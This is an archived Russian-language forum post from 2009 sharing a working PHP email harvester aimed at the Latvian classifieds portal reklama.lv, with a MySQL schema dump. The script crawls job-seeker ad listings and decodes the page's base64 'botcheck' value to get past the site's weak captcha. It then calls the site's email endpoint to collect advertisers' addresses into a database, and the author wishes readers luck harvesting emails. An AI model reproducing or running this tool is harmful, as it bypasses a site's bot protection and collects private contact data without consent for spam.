PDA

Просмотр полной версии : Грабер крупного портало обьявлений в Латвии


DTW
17.07.2009, 12:24
Там на нем есть мыла как и латышских почтов серверов так и гмайл и яхо и рус ..

Есть проблема где слишком большие разделы обьявлений..

спс порталу что капча не надежная.

Удачи насканить майлов !

пхп нач кричать что нет памяти ...

сам код


<?php
/* Email graber
* Beta version from easy user
* Curl(lib) must be!
* in php.ini extension=php_curl.dll !!!
* Work in reklama.lv
* 50% for work PHP windows not long memory
**/



function connection()
{
$server='localhost';
$user='';
$password='';
$database='graber';

$connect = mysql_connect($server,$user,$password) ;
if(!$connect)
{
echo mysql_error($connect);
}
if(!mysql_select_db($database,$connect))
{
echo mysql_error($connect);
}
return $connect;

}

// проверка номера
function cheak($str,$table,$rows)
{

connection();
$q ="select * from ".$table." where ".$rows."='".$str."' ";
$rezult = mysql_query($q);
if(!$rezult) echo mysql_error();
if(mysql_num_rows($rezult) > 0) {
return false;

}
else {
return true;
}
}
// втавка эмайла
function insMail($mail)
{

connection();
$q="insert into email(mail,date) values('$mail',NOW())";
$rezult = mysql_query($q);
if(!$rezult) echo mysql_error();

}

// вставка линка
function links($id)
{
connection();

$q="insert into url(link) values('$id')";
$rezult = mysql_query($q);
if(!$rezult) echo mysql_error();
}
//временые линки
function savetmp($page)
{
connection();

$q="insert into pages(page) values('$page')";
$rezult = mysql_query($q);
if(!$rezult) echo mysql_error();
}


//удаление временных линков


function clearpages($table)
{
connection();
$q="delete from ".$table." ";
$rezult = mysql_query($q);
if(!$rezult) echo mysql_error();
}

function decod($parm)
{
$str2 = rawurldecode($parm);
$code = base64_decode($str2);

return $code=str_replace(" ","",$code);
}


function findString($http,$path,$page)
{

$curl = curl_init($http.$path.$page);
// Параметры соединения
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2');
// Получаем соедржимое страницы
$id2 = curl_exec($curl);
curl_close($curl);
return $id2;
}




//поиск эмайла
function searchmail($http,$path,$page)
{
$id2 = findString($http,$path,$page);
$pat4='#([0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,6})#';
preg_match($pat4,$id2,$poc4) ;
//print_r($poc4);
if(cheak($poc4[1],'email','mail')) {
insMail($poc4[1]);
echo $poc4[1]."\r\n";
}

}
// поиск проч
function FindEncod($http,$path,$page,$num)
{

$id2 = findString($http,$path,$page);

//ищем ссылки на обьявления
$pat2 = '#\"(.{32})\",#im';
preg_match_all($pat2,$id2,$poc2) ;
$pat3='#string=(.*?)&#im';
preg_match($pat3,$id2,$poc3) ;

$refid=$poc2[1][0];

$hash=$poc2[1][1];

$code = decod($poc3[1]);





searchmail('http://reklama.lv','/services/','send_email-ajax.php?advid='.$num.'&hash='.$hash.'&refid='.$refid.'&botcheck='.$code);
}
// выбор ссылков
function Sellink()
{
connection();
$q="SELECT link FROM url order by id desc";
$rezult = mysql_query($q);
if(!$rezult) echo mysql_error();


while($rows= mysql_fetch_array($rezult)) {
$str = $rows['link'];

list($num,$all) = explode('.',$str);

FindEncod('http://reklama.lv','/services/','send_email-ajax.php?init=true&advid='.$num,$num);
}

}
//поиск линков
function Findurl($http,$path,$page,$lv=0)
{


$id2 = findString($http,$path,$page);

//ищем ссылки на обьявления
$pat2 = '#href=\"(\d+\.html)\"#im';
$total = preg_match_all($pat2,$id2,$poc2) ;

//echo("<pre>");
//print_r($poc2[1]);
// echo("</pre>");

for($i=0; $i < $total-1; $i++) {

if(cheak($poc2[1][$i],'url','link')) {
links($poc2[1][$i]);
}

}
//ищем ссылки др страницы
$pats3='#href=\"(table\d+\.html)\"#im';
$tot = preg_match_all($pats3, $id2,$pock);

// echo("<pre>");
// print_r($pock[1]);
// echo("</pre>");


for($i=0; $i < $tot ; $i++)
{
if(!cheak($pock[1][$i],'pages','page')) {
continue;
}
else {
savetmp($pock[1][$i]);
Findurl($http,$path,$pock[1][$i]);
}



}
}

//sample 'http://reklama.lv/ru','/data/job_and_studies/','jobs_offered/table.html'
//sample 'http://reklama.lv','/ru/data/job_and_studies/jobs_wanted/','table.html'

echo "Start grab Link\r\n";
Findurl('http://reklama.lv','/ru/data/job_and_studies/jobs_wanted/','table.html');
echo "Delete all pages\r\n";
clearpages('pages');
echo "Go Seach mail\r\n";
Sellink();
clearpages('url');


echo "\r\nFinish";


?>


бэкап

-- phpMyAdmin SQL Dump
-- version 2.11.6-dev
-- http://www.phpmyadmin.net
--
-- Хост: localhost
-- Время создания: Июл 17 2009 г., 02:57
-- Версия сервера: 4.1.16
-- Версия PHP: 5.2.9-2

SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;

--
-- База данных: `az`
--

-- --------------------------------------------------------

--
-- Структура таблицы `email`
--

CREATE TABLE IF NOT EXISTS `email` (
`id_m` int(11) NOT NULL auto_increment,
`mail` varchar(255) NOT NULL default '',
`date` datetime NOT NULL default '0000-00-00 00:00:00',
PRIMARY KEY (`id_m`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=429 ;

--
-- Дамп данных таблицы `email`
--


-- --------------------------------------------------------

--
-- Структура таблицы `pages`
--

CREATE TABLE IF NOT EXISTS `pages` (
`p_d` int(11) NOT NULL auto_increment,
`page` varchar(255) NOT NULL default '',
PRIMARY KEY (`p_d`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=575 ;

--
-- Дамп данных таблицы `pages`
--


-- --------------------------------------------------------

--
-- Структура таблицы `url`
--

CREATE TABLE IF NOT EXISTS `url` (
`id` int(11) NOT NULL auto_increment,
`link` varchar(255) NOT NULL default '',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1047 ;

--
-- Дамп данных таблицы `url`
--